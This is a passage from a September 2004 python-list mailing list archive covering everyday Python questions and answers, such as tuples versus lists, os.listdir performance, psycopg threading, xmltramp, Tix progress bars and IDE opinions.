Subject: function returning a list Message-ID: [Brad Tilley] #- Can a function return a list? http://docs.python.org/tut/tut.html . Facundo From abra9823 at mail.usyd.edu.au Mon Sep 20 02:51:55 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Mon, 20 Sep 2004 16:51:55 +1000 Subject: MAC address Message-ID: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> hi! is it possible to change your MAC address from a program? Can i do that using Python? thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From abra9823 at mail.usyd.edu.au Wed Sep 22 06:59:24 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Wed, 22 Sep 2004 20:59:24 +1000 Subject: python ides In-Reply-To: <2rbqaoF185cfiU3@uni-berlin.de> References: <41507c8f$0$25693$636a15ce@news.free.fr> <2rbgq9F16q2g8U2@uni-berlin.de> <2rbqaoF185cfiU3@uni-berlin.de> Message-ID: <1095850764.41515b0cc6415@www-mail.usyd.edu.au> and i find SciTE and SciTE|Flash very good Quoting Daniel Ellison : > Peter Hansen wrote: > > > Daniel Ellison wrote: > > > >> Peter Hansen wrote: > >> > >>> -this-thread-was-really-about-the-ides-of-python-ly y'rs, > >> > >> > >> Ah, but this issue does bring into question the integrity of the OP > >> and the resulting validity of his opinions... > > > > > > Dang! I was sure you would get the "The Ides of Python" bit... > > Sorry, I know it's not the 13th of the month, so maybe it wasn't > > an obvious pun to (try to) make. > > > > -Peter > > Well I use Vim, so I have Bewared (?? Beworn?) the Ides of Python for > many years. :p > > -this-thread-was-actually-about-the-op's-change-of-skin-ly y'rs, > > Dan > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From donn at drizzle.com Sun Sep 5 00:39:43 2004 From: donn at drizzle.com (Donn Cave) Date: Sun, 05 Sep 2004 04:39:43 -0000 Subject: Tuple question References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> <41374cfb$0$22750$db0fefd9@news.zen.co.uk> <1gjjz2x.l0wwhf13bna6eN%aleaxit@yahoo.com> Message-ID: <1094359182.57429@yasure> Quoth aleaxit at yahoo.com (Alex Martelli): | Donn Cave wrote: | ... |> On the other hand, we normally use tuples for data that |> is meaningful only when it's intact. The (key, value) | | So by this argument len(t) should not work if t is a tuple... I expect it's used relatively infrequently, and for different reasons. "if len(info) == 5", for example - just from that line from a relatively popular Python application, would you guess info is a list, or a tuple? | I've never accepted the BDFL's explanations on what tuples are for; like | Python beginners I use them as immutable lists (to index into a | dictionary or be set members) and curse their lack of useful methods. | | > pair that comes back from dict.items(), for example. Each | > value may very well be a string, but the sequence is not | > homogeneous in the sense we're talking about, and index() | > is not useful. | | Even for a pair I sometimes like to know if 42 is the key, the value, | or neither. index is handy for that... but not if the pair is a tuple, | only if it's a list. Rationalize as you will, it's still a Python wart. Maybe the problem is that tuples have too many features already. It's sort of silly that they're indexed by number, and if that weren't allowed, we would find fewer people trying to make lists of them. | Pseudotuples with NAMED (as well as indexed) arguments, as modules stat | and time now return, may be a different issue. Not sure why we never | made declaring such pseudotuples as usertypes as easy as it should be, a | custom metaclass in some stdlib module shd be enough. But tuples whose | items can't be named, just indexed or sliced, just are not a good fit | for the kind of use case you and Guido use to justify tuple's lack of | methods, IMHO. There you go, they shouldn't be indexed or sliced, that's right! Named attributes would be nice, but otherwise you use pattern matching (to the extent support in Python -- key, value = item.) Makes for more readable code. Donn Cave, donn at drizzle.com From vze4rx4y at verizon.net Thu Sep 23 02:12:12 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Thu, 23 Sep 2004 06:12:12 GMT Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net><1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com><20040922193925.GA4669@nl.linux.org><16721.55116.159985.802001@montanaro.dyndns.org> Message-ID: <0Pt4d.5567$sa.108@trndny05> [Skip Montanaro] > > in 2.4 common case string concatenation gets a big speed boost: > > > > % python2.3 ~/local/bin/timeit.py -s 's=""' "s+='foo'" > > 10000 loops, best of 3: 68.3 usec per loop > > % python2.4 ~/local/bin/timeit.py -s 's=""' "s+='foo'" > > 1000000 loops, best of 3: 0.855 usec per loop [Gerrit] > Ah. Am I correct to conclude that StringIO should either be rewritten > concatenating strings, or be deprecated, or both? Nope. StringIO correctly makes heavy use of the ''.join() idiom which is still preferred += for reasons of portability and speed. The purpose of the += optimization was to make it less catastrophic in places where it does occur. Guido was clear that ''.join() remains king. I will submit a patch to tighten up the code in StringIO.write() which needs localized variables and elimination of an unnecessary step. Raymond Hettinger From ialbert at mailblocks.com Mon Sep 20 12:16:50 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 20 Sep 2004 12:16:50 -0400 Subject: Psycopg and threads problem In-Reply-To: <414EF5BC.9010002@magproductions.nl> References: <0fidnS729Ln4bdPcRVn-hQ@giganews.com> <414EF5BC.9010002@magproductions.nl> Message-ID: Alban Hertroys wrote: > I can't commit until all the data has been inserted and combined. The > commit shouldn't happen until the end of the main thread is reached. If you don't commit the inserts you cannot combine them (because they are not visible) in a different database connection. I think you should have a commit at the end of your insert threads. That way when all the inserts are finished the data will be available for the combine thread. I might be wrong here but I think all this confusion arises because psycopg pools database connections (which is a good thing, it speeds up access). But then even when you seemingly open a new connection you might be just reusing a db connection from the pool that was started (and kept alive) before the inserts took place. Istvan. From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom Wed Sep 1 06:26:49 2004 From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (Michel Claveau - abstraction méta-galactique non triviale en fuite perpétuelle.) Date: Wed, 1 Sep 2004 12:26:49 +0200 Subject: Script executes script? References: Message-ID: Bonjour ! It's OK also with windows, like popen, pawn, etc. But execfile( is more fast, and need minus memory. Michel Claveau From bokr at oz.net Mon Sep 27 14:24:31 2004 From: bokr at oz.net (Bengt Richter) Date: 27 Sep 2004 18:24:31 GMT Subject: Optimizing tips for os.listdir References: Message-ID: On 27 Sep 2004 14:30:18 GMT, Nick Craig-Wood wrote: >Thomas <2002 at weholt.org> wrote: >> I'm doing this : >> >> [os.path.join(path, p) for p in os.listdir(path) if \ >> os.path.isdir(os.path.join(path, p))] You ought to be able to gain a little by hoisting the os.path.xxx attribute lookups for join and isdir out of the loop. E.g, (not tested) opj=os.path.join; oisd=os.path.isdir [opj(path, p) for p in os.listdir(path) if oisd(opj(path, p))] But it seems like you are asking the os to chase through full paths at every isdir operation, rather than just telling it to make its current working directory the directory you are interested in and doing it there. E.g., (untested) savedir = os.getcwd() os.chdir(path) dirs = [opj(path, p) for p in os.listdir('.') if oisd(p)] os.chdir(savedir) >> >> to get a list of folders in a given directory, skipping all plain >> files. When used on folders with lots of files, it takes rather long >> time to finish. Just doing a listdir, filtering out all plain files >> and a couple of joins, I didn't think this would take so long. > I'd be curious to know how much difference the above would make. >How many files, what OS and what filing system? > >Under a unix based OS the above will translate to 1 >opendir()/readdir()/closedir() and 1 stat() for each file. There >isn't a quicker way in terms of system calls AFAIK. Except IWT chdir could help there too? > >However some filing systems handle lots of files in a directory better >than others. Eg reiserfs is much better than ext2/3 for this purpose. >(ext3 has a dirhash module to fix this in the works though). > >Eg on my linux box, running ext3, with various numbers of files in a >directory :- > >/usr/lib/python2.3/timeit.py -s 'import os; path="."' \ >'[os.path.join(path, p) for p in os.listdir(path) if \ >os.path.isdir(os.path.join(path, p))]' > path="." might be a special case in some of that though. I would try a long absolute path for comparison. (What did the OP have as actual use case?) >Files Time > >10 3.01e+02 usec per loop >100 2.74e+03 usec per loop >1000 2.73e+04 usec per loop >10000 2.76e+05 usec per loop >100000 2.81e+06 usec per loop > >Which is pretty linear... much more so than I expected! > >The above timings ignore the effect of caching - will the directory >you are enumerating be hot in the cache? Even if so, I doubt the os finds it via a hash of the full path instead of checking that every element of the path exists and is a subdirectory. IWT that could be a dangerous short cut, whereas chdir and using the cwd should be fast and safe and most likely guarantee cached content availability. Just guessing, though ;-) > >Something similar may apply under Windows but I don't know ;-) > >-- >Nick Craig-Wood -- http://www.craig-wood.com/nick Regards, Bengt Richter From peter at engcorp.com Wed Sep 1 07:19:21 2004 From: peter at engcorp.com (Peter Hansen) Date: Wed, 01 Sep 2004 07:19:21 -0400 Subject: Announcing PyCs, a new Python-like language on .Net In-Reply-To: References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> Message-ID: <7Y2dncuabfymLajcRVn-gw@powergate.ca> Mark Hahn wrote: > It turns out that I missed a sourceforge project called PyCs so we will be > changing our name soon. Our current best guess is Pyxc pronounced Pixie. http://pyxie.sourceforge.net/ Best to avoid homonyms too, I think. Try again. From chotty at freenet.de Thu Sep 30 13:32:55 2004 From: chotty at freenet.de (Christian Otteneuer) Date: Thu, 30 Sep 2004 19:32:55 +0200 Subject: [Zope] How to filter and sort PropertyObjects from ZCatalog Message-ID: Hallo NG, Hope, that I'm not totally wrong in this newsgroup. I have a question about PropertyObjects in Zope: I want to get some PropertyObjects out of a ZCatalog. This Code: result = (map( lambda brain: brain.getObject(), container.Catalog.searchResults())) returns me a list of all Objects in the Catalog, which are, in this case PropertyObjects. These PropertyObjects have a property 'priority' (type: int) , which I can access with: result[0].getProperty('priority') Now, I want to filter out all PropertyObjects, which have 'priority == 0' and sort all other POs by 'priority', so that I finally have a list like this: result[0].getProperty('priority') == 1 result[1].getProperty('priority') == 2 result[2].getProperty('priority') == 3 ... Does anyone know, how to reach such a list a) by changing the query to the ZCatalog with 'filters' and 'sort algorithms' or b) by changing my list 'result' ?? Thanks alot From spawnxx at pandora.be Fri Sep 10 19:34:58 2004 From: spawnxx at pandora.be (TuPLaD) Date: 10 Sep 2004 16:34:58 -0700 Subject: if-else-then Message-ID: Hi, i got the following script: name = raw_input("Please enter your name: ") print "Your name is", name but i want it that way: if name = Stickie then print "You be di man" how do i do it ? This i what i have from a tutorial, but with syntax errors i dont know what im doing wrong :( #!C:\Python23\python.exe # My first Python Application ! # By TuPLaD # [email]spawnxx at pandora.be[/email] import time def main(n): name = raw_input("Please enter your name: ") if name = Stickie: print 'Yo masta', name else: print "Your name is", name time.sleep(5) what should i do ? From nelson at monkey.org Fri Sep 17 21:08:12 2004 From: nelson at monkey.org (Nelson Minar) Date: Sat, 18 Sep 2004 01:08:12 GMT Subject: Recommendations about xmltramp References: Message-ID: "Jonas Hei" writes: > I'd like to get experts' opinion about > xmltramp (http://www.aaronsw.com/2002/xmltramp/). I don't know about expert, but I've used xmltramp for quick hacks on a bunch of projects and I love it. It's the simplest API I've ever used for accessing XML. It builds trees in memory so it's not going to work for 100 megabyte documents. And it's fast and loose enough that I might be nervous about using it for very meticulous work, although I have no specific evidence of it failing. Overall it's really nice. Here's a sample: rssFeed = urllib.urlopen("http://.../index.rss") rss = xmltramp.parse(rssFeed.read()) print rss.channel.title for i in rss.channel: if i._name == 'item': print i.title More here: http://www.nelson.monkey.org/~nelson/weblog/tech/good/xmltramp.html From firstname at lastname.pr1v.n0 Tue Sep 7 12:18:33 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Tue, 7 Sep 2004 18:18:33 +0200 Subject: Xah Lee's Unixism References: <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <413daee5$0$6932$61fed72c@news.rcn.com> Message-ID: In article <413daee5$0$6932$61fed72c at news.rcn.com>, wrote: >In article <1s4ihc.4i4.ln at via.reistad.priv.no>, > Morten Reistad wrote: >>In article <413c5b9c$0$19705$61fed72c at news.rcn.com>, >> wrote: >>>In article , >>> Morten Reistad wrote: >> >>1995 was the year everyone and Bill Gates discovered the Internet >>existed; and wanted in on the deal. Suddenly everyone needed Internet >>solutions. > >I knew the Internet existed when I started reading the ads in the >WSJ and they had this strange arrangement of characters that >began with www. At first, there were only a few. _One_ year >later there were lot. Less than two years later, everybody had >one. I watch ads to foretell trends. I knew we had succeeded in making the Internet mainstream when I saw that the plane I was about to board had the URL I made for them written along the entire plane in 2 meter high letters. And we had to do a hard sell for the Internet bit. 2 years later more than 50% of their tickets were sold over the Internet. >>>Since TCP/IP was in the 90s, I couldn't have heard about it >>>over the wall (I think I stopped working in 1987). I could >>>swear that cybercurd meant something. >>> >>>ISTR, the -20 types yakking about it. >> >>TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather) >>converted Jan 1st 1983; with final NCP service turned off everywhere >>by mid march 1983. > >Aha! Whew! Then my memory isn't completely gone. If it was >launched in 1982, then they had to have been yakking about it >in 1980 and 1981. The period 1978-1982 was the intense design phase of the infrastructure of the modern Internet. It would have been on the mind of IT engineers worldwide. >>Tops20 has an IP package; but it was pretty rudimentary in version 4, >>and not quite complete even by those standards even in version 7. > >Version 4 and version 7 were way after 1980. Yep, but it was in version 4 there was real TCP/IP support. ISTR there was a retrofit to a late version 3; but that was made after V4 was out. This version more or less depended on other boxes, just like a PC does today. "Real" TCP/IP came out in V7 (or possibly late V6. I more or less skipped the entire V6 of Tops20). .. mrr From programmer.py at gmail.com Sat Sep 11 22:38:08 2004 From: programmer.py at gmail.com (Jaime Wyant) Date: Sat, 11 Sep 2004 21:38:08 -0500 Subject: Ideas on self updating software? Message-ID: *long post alert!* Can anyone give me some pointers on writing "self-updating" python programs? I have an application that is almost ready for beta testing. I want to be able to fix any bugs and push the updates out. I have a *very vague* idea of how to attack this. The client will have an auto-update feature that will hit the webserver via xml-rpc, asking for updates. The server responds, sending back any updated modules. Ok. My first idea is to have *versions* of software tagged somehow. A table (software_update -- not a permanent name, all I can come up with right now :-)) would exist with two columns: version_number, updated_module The first beta version of my software will be tagged 0.1. The first load into my database would contain a row for each module. Assume I only have 4 modules, named a, b, c and d: The table (software_update) would contain the following rows: 0.1 a 0.1 b 0.1 c 0.1 d Now, assume that later I update modules c, d and tag the module verison 0.2. Now the table contains the following rows: 0.1 a 0.1 b 0.2 c 0.2 d The idea is that the client sends the server its version. The server queries software_update for all rows where version_number > client_version_number. Then all modules are *pushed* down to the client. I realize that I'll have to worry about *duplicates* in revisions. That is version 0.3 may also update module 'c'. I'll figure that out later. Okay, does this sound sound? =) Anyone have any other ideas on how to tackle this? jw From adalke at mindspring.com Fri Sep 10 12:48:53 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Fri, 10 Sep 2004 16:48:53 GMT Subject: Electronic voting feasibility In-Reply-To: References: Message-ID: Greg Steffensen wrote: > My goal is to write an easy-to-use, python based system to allow small > organizations to conduct online elections using sound cryptography. What is "sound cryptography"? It seems too close to me to "sound science" which is a code phrase for "science subsumed by political decisions" (my interpretation). For details, see Chris Mooney's article at http://www.alternet.org/story/18696 where he asks "if it isn't good science, then what exactly is it?" The term "sound cryptography", btw, only gets 27 hits on Google. We now return you to your regularly scheduled c.l.py, and my apologies for the knee-jerk reaction. Andrew dalke at dalkescientific.com From skip at pobox.com Wed Sep 29 19:27:21 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 29 Sep 2004 18:27:21 -0500 Subject: List comprehensions performance In-Reply-To: <278de0e.0409291441.4ef0a859@posting.google.com> References: <278de0e.0409291441.4ef0a859@posting.google.com> Message-ID: <16731.17625.258161.146225@montanaro.dyndns.org> Neuruss> What I'd like to know is if using list comprehensions would Neuruss> give me a performance advantage over traditional for loops or Neuruss> not. You can always run tests to see. There is some data dependency so it makes sense to test map, listcomps and for loops using data that's typical of the application you intend to use them in. Skip From kirk at eyegor.jobsluder.net Sun Sep 26 19:13:34 2004 From: kirk at eyegor.jobsluder.net (Kirk Job-Sluder) Date: Sun, 26 Sep 2004 23:13:34 GMT Subject: emulating du with os.walk Message-ID: Hrm, I'm a bit stumped on this. I want to write a script lists a file directory hierarchy and gives me a sorted list showing cumulative directory size. The example code for os.walk gets me half-way there, but I can't quite figure out how to do the hierarchal sum. Here is the output I'm getting: /home/kirk/.gconf/apps/ggv/layout consumes 228 bytes in 1 non-directory files /home/kirk/.gconf/apps/ggv consumes 0 bytes in 1 non-directory files /home/kirk/.gconf/apps consumes 0 bytes in 1 non-directory files However, what I want is: /home/kirk/.gconf/apps/ggv/layout consumes 228 bytes in 1 non-directory files /home/kirk/.gconf/apps/ggv consumes 228 bytes in 1 non-directory files /home/kirk/.gconf/apps consumes 228 bytes in 1 non-directory files There should be an easy way to get around this, or perhaps I'm better off just parsing the output of du. -- Kirk Job-Sluder "The square-jawed homunculi of Tommy Hilfinger ads make every day an existential holocaust." --Scary Go Round From bgabriel at cloudthunder.com Wed Sep 29 23:49:28 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Wed, 29 Sep 2004 23:49:28 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: References: Message-ID: <415B8248.30002@cloudthunder.com> The value we will add is embodied in the materials we will produce, the tools we will create, and the simulation we will construct. The simulation will be two layers: The underlying library or "simulation toolkit", and the graphical frontend to utilize that toolkit. The toolkit is the core and the graphical frontend is a demonstration of how one may utilize that core. The tools we create serve to form the framework which aids academics in social scientific exploration. This is value. > . > . >"add value" is a fixed phrase in many engineering, business, >and academic (among other) circles. When, for example, >children combine sugar, ice, lemon juice, and water, in a >particular pleasing combination, and offer it for sale on a >wearying day, we recognize their achievement as creation of >"lemonade". They do not merely transfer raw materials to >their customers; they provide a product which transcends its >constituents. We say they have "added value" to the base >commodities, rather than mechanically moving them through >space and/or time. > >Analogously, I echo Bengt's challenge to you to make explicit >the value you intend to add: what hope is there that your >project will be more than a mere formal manipulation of its >constituents--sociologic theory and Python technique? Will >you accomplish anything--will you add value--beyond what >any attentive student given the instructions to apply Python >to sociology might do? > >I don't know what > Marxian class analysis is particularly suited > to this demonstration but in our demonstration > model we will operate from multiple theoretical > constructs, displaying the power of our method. > The intent is to show how Python is well suited > to social analysis and not the other way around. >means. I recognize that it might fit several situations. I >sincerely don't know which you intend. > >I myself once had a strong theoretical, and even dialectical, >bent. Through the years, I've nearly monotonically gravitated >toward the concrete. I recommend it to you. Demonstrate how >your theory or approach solves *one* specific problem. With >that in hand, your readers will be much, MUCH readier to >apprehend the generalizations you appear to have in mind. > > From zanesdad at bellsouth.net Mon Sep 27 22:31:57 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Mon, 27 Sep 2004 22:31:57 -0400 Subject: SimpleXMLRPCServer In-Reply-To: References: Message-ID: <4158CD1D.4060802@bellsouth.net> PhysicsGenius wrote: > Jeremy Jones wrote: > >> Istvan Albert wrote: >> >>> Yannick Turgeon wrote: >>> >>>> "Simple". What are its limitations? >>> >>> >>> >>> >>> No limitations whatsoever ... it is "Simple" to use >>> >>> :-0 >>> >>> Istvan. >>> >> Simple indeed. I don't know for sure the reasons for naming it >> "Simple". But it may have to do with the fact that the >> out-of-the-box SimpleXMLRPCServer will only handle one request at a >> time: a request comes in, the server accepts that request, blocking >> until the method call returns, and the response is sent back to the >> client. It does not spawn a thread per request. It does not >> "select" among multiple requests. It will not create a thread pool >> for you. If you want that added functionality, you can write a >> little custom code to get it to spawn a thread per request. A little >> more code to only spawn n number of threads. A little more code >> still to create a thread pool. And if you want a server that >> "select"s among multiple requests, I'm not 100% sure, but I bet >> Twisted has one of those. > > > I have a non-threaded, select()ing SimpleXML-RPC server. I have > stressed it yet, but I have verified that the concept works. Is this something that you wrote, or are you using Twisted? If it's something you wrote, I'd love to see the code for it. Jeremy From max at alcyone.com Wed Sep 1 03:00:02 2004 From: max at alcyone.com (Erik Max Francis) Date: Wed, 01 Sep 2004 00:00:02 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> Message-ID: <41357372.E263DE37@alcyone.com> Mark Hahn wrote: > It turns out that I missed a sourceforge project called PyCs so we > will be > changing our name soon. [blank look] > The new language is actually just a subtle shift from the old Prothon > as > far as the programmer is concerned, but since we were dropping > prototypes, > we really had to change the name. [another blank look] Okay, seriously, is this whole thing like a hoax or something? -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ They make it a desert and call it peace. -- Tacitus From bokr at oz.net Thu Sep 9 20:42:19 2004 From: bokr at oz.net (Bengt Richter) Date: 10 Sep 2004 00:42:19 GMT Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> Message-ID: On Thu, 9 Sep 2004 18:37:05 -0400, Pierre Fortin wrote: >On Fri, 10 Sep 2004 00:20:24 +0200 Alex wrote: > >> Diez B. Roggisch wrote: >> ... >> > map2 = dict(map.items() + [(str(i), v) for i, v in enumerate(vals)]) >> >> An equivalent ctor call that's slightly better, IMHO: >> >> map2 = dict([ (str(i),v) for i,v in enumerate(vals) ], **map) >> >> Don't ignore the power of dict's keyword arguments... >> >> > Not perfect, but IMHO better than your eval-based solution. >> >> I agree, mine is just a tiny improvement on your post, IMHO. >> >> >> Alex > >Thanks for that; but it's not what I wanted... (see original post) > >I was hoping to use the likes of: "%(key)*.*f" % map >however, unlike with the non-(key) formats, there appears to be no way to >specify a "*.*" size when a map is used... > Well, you could subclass str and override its __mod__ method ;-) If you had class format(str): ..., you could then write format('%(key)*.*f") % map and have it do whatever you like. Regards, Bengt Richter From jsaunders at internetbusinesslinks.net Fri Sep 10 13:13:45 2004 From: jsaunders at internetbusinesslinks.net (Jamey Saunders) Date: 10 Sep 2004 10:13:45 -0700 Subject: Changing state of buttons. References: <41d499da.0409090946.37bc2739@posting.google.com> Message-ID: <41d499da.0409100913.4e17cac0@posting.google.com> Eric Brunel wrote in message news:... > I'm not sure I understand the meaning of your question: if it's really about > changing the state of an existing widget, a simple > widget.configure(state=NORMAL) will do what you want. Thanks, Eric. That's just what I was after. I'm thinking that this may be easier if I use wxPython. I've been checking it out this morning. Thanks again! Jamey From deetsNOSPAM at web.de Sat Sep 11 11:05:42 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Sat, 11 Sep 2004 17:05:42 +0200 Subject: Nested class structures References: <1gjyg86.h447z2mlz6joN%aleaxit@yahoo.com> Message-ID: >> The only thing that comes to my mind is to create the classes from >> strings you exec - that will allow you to captur the class before >> redefining it: > > You can capture before redefining without any need to exec: > >>>> class outside: > ... anons=[] > ... class anon: > ... def method1(self): return 'the first' > ... anons.append(anon) > ... class anon: > ... def method1(self): return 'the second' > ... anons.append(anon) > ... class anon: > ... def method1(self): return 'the third' > ... anons.append(anon) > ... del anon Thats a nice one. I always forget about the possibility to execute actual code while a class is encountered by the interpreter. As always, I'm impressed on the variety of things doable in python - even if they don't appeal to me as exactly useful (in this special case I mean.) > No way! Classes as well as functions are perfectly fine objects. > Python has no 'declarations'. The reason I said that was because of the way the debugger steps through the code: If it comes to a def, it doesn't execute the body - naturally. But it collects of course the function as callable. That I viewed that as sort of declaration - but you are of course right that there is no such thing as an actual declaration in python. -- Regards, Diez B. Roggisch From steven.bethard at gmail.com Fri Sep 10 16:48:55 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 10 Sep 2004 20:48:55 +0000 (UTC) Subject: What's the Pythonic way to do this? References: Message-ID: Doug Rosser yahoo.com> writes: > > class Cycle(object): > > def __init__(self, inputList): > object.__init__(self) > self.index = 0 > self.limit = len(inputList) > self.list = inputList > > def next(self): > """ > returns the next element of self.list, jumping > back to the head of the list if needed. > Yes, this is an infinite loop. (Use with caution) > Arguments: > none > Returns: > the next element of self.list > """ > if self.index+1 < self.limit: > self.index+=1 > return self.list[self.index-1] > else: > self.index=0 > return self.list[self.limit-1] Well, if all you want to do is cycle through the elements of a list, I'd suggest: >>> import itertools >>> itertools.cycle(inputList) If you're really asking about how to write the class, I might write it like: >>> class Cycle(object): ... def __init__(self, lst): ... self.index = -1 ... self.list = lst ... def next(self): ... self.index = (self.index + 1) % len(self.list) ... return self.list[self.index] Steve From robin at reportlab.com Mon Sep 20 13:54:49 2004 From: robin at reportlab.com (Robin Becker) Date: Mon, 20 Sep 2004 18:54:49 +0100 Subject: Calculating days using Business Days for the Calendar In-Reply-To: References: Message-ID: <414F1969.9090609@chamonix.reportlab.co.uk> David Stockwell wrote: > I''m wondering if the Calendar object has an option to only do > calculations based on business days (ie M-F). Additionally does it have > a way to get holidays into itself? > > Currently I'm considering converting my calculations over to business > days and am wondering if there is anything built-in. I've tried > searching but so far haven't seen such a thing built in. > > I'm thinking I'm just going to have to bite the bullet and create my own > approach to > 1) figure out the day of the week of my starting date > (Calendar.weekday() should do the trick) > 2) determine the number of days up to my finish date (i do that now) > 3) determine the number of non-business days (weekends + holidays) > 4) subtract off the number in #3 from #2 > > > David > ------- > Surf a wave to the future with a free tracfone > http://cellphone.duneram.com/index.html > ... ReportLab's version of jeff Bauer's normalDate module has a BusinessDate object which does businessday diffs etc etc. -- Robin Becker From danperl at rogers.com Sun Sep 26 23:26:19 2004 From: danperl at rogers.com (Dan Perl) Date: Sun, 26 Sep 2004 23:26:19 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <41542230.3070808@bellsouth.net> Message-ID: Yes, that's what I was talking about. Thanks, Carlos, for explaining it. I actually should have said false detection of exceptions or wrong detection of exceptions. I don't remember what Wingware are calling it. Actually, the way they were qualifying it was something like "if you do not see this exception when running the script outside the IDE, then you should probably flag it to be ignored". And they are giving a list of builtin modules where those exceptions are usually "falsely" detected. I didn't try to figure out what their exception detection mechanism is and why they have this problem. I just uninstalled the IDE. So 10 days for the trial was more than enough after all. ;-) I think I had it installed for about 2 days. I can tolerate a bug and I wouldn't be so riled up, but what got me was the marketing spin and how they were just excusing the bug, like they would never fix it. The "false exceptions" and the lack of a class browser made me decide not to choose Wing IDE this time. Their attitude about the "false exceptions" made me cut the trial short and never to consider Wing IDE again. Dan "Carlos Ribeiro" wrote in message news:mailman.3947.1096250696.5135.python-list at python.org... > On Sun, 26 Sep 2004 21:36:18 -0400, Peter Hansen > wrote: >> Dan Perl wrote: >> > I debugged one of my >> > scripts (that I knew it works) and got an unexplainable exception. It >> > turns >> > out that Wing IDE falsely detects some exceptions. They know about it >> > and >> > they suggest that if you KNOW that it's a false exception you should >> > flag it >> > to be ignored. Yes, Wingware people, I know it's a false exception, >> > but >> >> What exactly is a "false exception"? I have never heard of such >> a thing, and can't imagine what it might be. Python raises >> exceptions, they are subclasses of Exception or (old-style) >> strings, they have tracebacks, they come from a variety of >> sources, there's lots of things to know about exceptions but >> "falseness" is not something about which I'm aware... > > They're false in the sense that that they're not supposed to be raised > to the attention of the user. What happens is that Wing IDE is super > sensitive with regards to exceptions; when an exception is raised in > some internal module, Wing tries to outsmart the library and warn the > user that an exception happened. A "false exception" is one that would > happen and be silently treated by the library itself, without nobody > noticing, but that's catched by Wing IDE nonetheless, in a totally > unnecessary and obstrusive way. You can see that it's a case where the > tool tries to be too smart for its own good. > > p.s. Why do they do it? For what I could see, the intention seems to > be able to catch situations where a valid exception that should be > raised to the user attention is silented by a generic error handler. > It really may be useful in some situations, but it isn't a reasonable > default in my opinion. > > -- > Carlos Ribeiro > Consultoria em Projetos > blog: http://rascunhosrotos.blogspot.com > blog: http://pythonnotes.blogspot.com > mail: carribeiro at gmail.com > mail: carribeiro at yahoo.com From secun at yahoo.com Wed Sep 15 09:02:54 2004 From: secun at yahoo.com (ChrisH) Date: Wed, 15 Sep 2004 13:02:54 GMT Subject: Ranting about the state of Python IDEs for Windows References: <656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com> Message-ID: I've used pydev and liked it. However, according to the author (the last time I checked the site), the debugger is still in alpha and needs some work. In article , benn at cenix-bioscience.com says... > > Another IDE I use is Eclipse, I only use this for Java editing but I > heard somewhere that it has a Python plugin - eclipse is way more > complicated than jedit but if you learn how to use it there are > significant productivity gains (at least with Java!). > > Cheers, > > Neil > > From light at soton.ac.uk Thu Sep 30 04:08:37 2004 From: light at soton.ac.uk (Mark Light) Date: Thu, 30 Sep 2004 08:08:37 +0000 (UTC) Subject: Adding a command to a Pmw.counter widget Message-ID: Hi, I have a Pmw.Counter widget and I would like to add a command that is called on pressing either the up or down arrows (the command will be the same for both). I have managed to do this for the entryfield with "entryfield_command = ", but can't get the same to work for the arrows, could someone help me out with how to do this. Many thanks, Mark. From klappnase at web.de Sun Sep 12 16:13:10 2004 From: klappnase at web.de (klappnase) Date: 12 Sep 2004 13:13:10 -0700 Subject: Tix Meter, erratic behavior References: Message-ID: hugonz at hotmail.com (Hugo Gonz?lez) wrote in message news:... > Hi, I'm doing a simple text with the Tix Meter widget, in a program as > follows > > import Tix > import time > > mainwin=Tix.Tk() > container=Frame(mainwin) > > bar=Tix.Meter(container, value=0.0) > > bar.pack() > > for i in range(100) > time.sleep(1) > bar.configure(value=(i/100.0) > > ------------- > > I'm doing this in the interactive editor and I'd expects this gives me > a progresss bar that advances a number every second. When I run this, > the script would become irresponsive, and after Ctl-C the widget will > display with the last value reached in the -for- loop. > > Does anyone have a clue why it is not doing what I expect? Can you > give it a try in your interpreter? What am I doing wrong? > > Thanks all in advance.. > > Hugo There are a few simple mistakes you made, > mainwin=Tix.Tk() > container=Frame(mainwin) results in the following error on my box: Traceback (most recent call last): File "", line 1, in ? NameError: name 'Frame' is not defined so you either need to do a "from Tkinter import *" first or simply use container=Tix.Frame(mainwin) instead. Second you forgot to pack the container into the mainwindow. The third problem is that inside your for loop the widgets on the screen don't get updated, so you should add a call to update_idletasks() to the iteration: > for i in range(100) > time.sleep(1) > bar.configure(value=(i/100.0) > bar.update_idletasks() I hope this helps Michael From luka.milkovic at public.srce.hr Sat Sep 11 12:21:59 2004 